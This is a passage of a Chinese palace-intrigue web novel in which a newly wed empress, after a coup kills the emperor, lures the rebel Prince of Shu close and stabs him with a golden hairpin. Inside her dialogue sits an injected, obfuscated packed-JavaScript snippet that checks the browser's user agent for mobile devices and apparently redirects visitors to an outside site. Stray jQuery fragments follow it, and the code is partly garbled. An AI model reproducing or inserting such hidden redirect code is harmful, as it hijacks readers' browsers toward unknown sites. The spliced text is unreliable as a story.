女子皎白的肌肤细腻透亮,如质感上乘的羊脂玉,一双秋水般清澈的眸子点缀在紫芝眉宇下,眼波流转之间流露出一种说不出的风韵,鼻梁秀气高挺,红唇更是娇艳欲滴的红。
好一个国色天香的佳人!
他忍辱负重多年,被殇帝教唆和老九同室操戈,折损不少精锐良将。
今夜,总算是到他连本带利收回账的时候。
“皇后天人之姿,在京城只担上第二美人的称号,倒是委屈娘娘,依本王所见,娘娘要比你那位木头美人姐姐,销魂上万倍...”
楚月鸢听着男子淫邪的声调,感受到对方的目光宛若一条阴冷滑腻的毒蛇身上缓缓游走,恶心得她炸起一身鸡皮疙瘩。
她深深吸上一口气,缓缓抬起乌眸,怯生生看向皮笑肉不笑的蜀王,轻抿朱唇,柔声道:
“蜀王当真认为,本宫要比姐姐漂亮?”
雕花窗外影影绰绰,不时响起兵戈相击的铿锵之声。
许是觉得胜卷在握,龙凤拔步床上美人的柔声细语让蜀王感到忘乎所以,仿若那金灿灿的龙椅近在咫尺,只需迈进一步就能稳坐其上。
他眉梢高扬,唇角勾起得意的笑意,飘飘然道:
“那是自然,先淳妃娘娘美则美矣,却与寻常美人没什么不同,皇后娘娘就不一样了,夭桃浓李,占尽风流,独有一份勾人心痒痒的媚态。实不相瞒,去年在花灯宫宴上,本王就对娘娘心存倾慕,恨不得一亲芳泽...”
楚月鸢低垂下眉眼,似是在心中暗暗抉择,过上半晌,她款款仰起螓首,眸底波光晃动,青涩的声音染上几许春情:
“那蜀王不妨凑近仔细瞧一瞧,本宫应究竟比姐姐美在何处
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488449|185745||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
?”
美人的一对儿桃花眸子生得极为漂亮,眼角自带天生的一抹殷红,当她抬起眼时,茶色瞳仁映着烛光,水润清透,温良无害。
蜀王放声大笑,他一时沉溺于美人温情脉脉的眸光下,情不自禁俯下身。
楚月鸢屏住呼吸,轻颤的睫毛掩住眸底纷乱情愫,就在男子散发血腥气的胡须快要贴近她的面颊时,她兀地举起隐藏在袖摆下的金凤钗,用尽全力朝对方胸口刺去。
她并非性情忠烈的女子,对殇帝的印象也极为寡淡,只在姐姐诞下龙子后随父亲一起入宫时,隔着玛瑙珠帘浅浅行过一礼。
楚月鸢不想嫁给大她两轮的殇帝,亦不愿做大齐的皇后,可为了楚氏一族的门楣,她别无抉择。
可就在她向命运低下头颅时,蜀王在大婚之夜发动宫变。
她同殇帝还没来及饮下合卺酒,殇帝胸口迸射而出的热血就喷溅她一脸,不过短短几息,她后半生要依仗的男子便轰然倒下。
至于眼前起兵谋反的蜀王,楚月鸢早就有所耳闻。
蜀王的大儿子年纪和她相仿,妻子出身蜀地名门望族,蜀王对她的占有欲,不过是男子的虚荣心在作怪,断不可能为了她休妻弃子。
倘若她今夜委身于蜀王,从此以后,她就是名节尽失的废后,不仅难逃一死,还要背负上世人的嗤笑和指指